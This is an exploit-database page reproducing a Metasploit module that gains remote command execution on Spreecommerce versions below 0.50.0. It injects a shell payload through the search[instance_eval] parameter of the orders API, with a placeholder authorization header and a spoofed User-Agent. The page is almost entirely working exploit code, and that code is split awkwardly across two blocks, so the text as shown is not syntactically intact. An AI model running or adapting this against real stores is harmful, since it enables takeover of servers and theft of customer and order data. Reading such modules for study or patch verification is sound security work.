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Spreecommerce < 0.50.0 - Arbitrary Command Execution (Metasploit)

EDB-ID:

17199

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:  

Platform:

[UNIX](#)

Date:

2011-04-21

Vulnerable App:



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```
##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Spreecommerce < 0.50.0 Arbitrary Command
Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution
        vulnerability in the
        Spreecommerce API searchlogic. Unvalidated input is
        called via the
        Ruby send method allowing command execution.
      },
      'Author' => [ 'joernchen <joernchen@phenoelit.de>
(Phenoelit)' ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision: 12397 $',
      'References' =>
        [
          [ 'OSVDB', '71900' ],
          [ 'URL',
'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'DisableNops' => true,
          'Space' => 31337,
          'Compat' =>
            {
              'PayloadType' => 'cmd',
            }
        },
      'Platform' => [ 'unix', 'linux' ],
      'Arch' => ARCH_CMD,
      'Targets' => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Apr 19 2011',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The path to the
Spreecommerce main site", "/"]),
      ], self.class)
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
  end
end
```



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```

urlconfigdir = datastore['URI'] + "api/orders.json?
search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
res = send_request_raw({
  'uri'      => urlconfigdir,
  'method'   => 'GET',
  'headers'  =>
    {
      'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
      'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.1)',
      'Connection' => 'Close',
    }
}, 0.4 ) #short timeout, we don't care about the response
if (res)
  print_status("The server returned: #{res.code} #{res.message}")
end
handler
end
end

```

Tags: [Metasploit Framework](#)
(MSE)

Advisory/Source: [Link](#)



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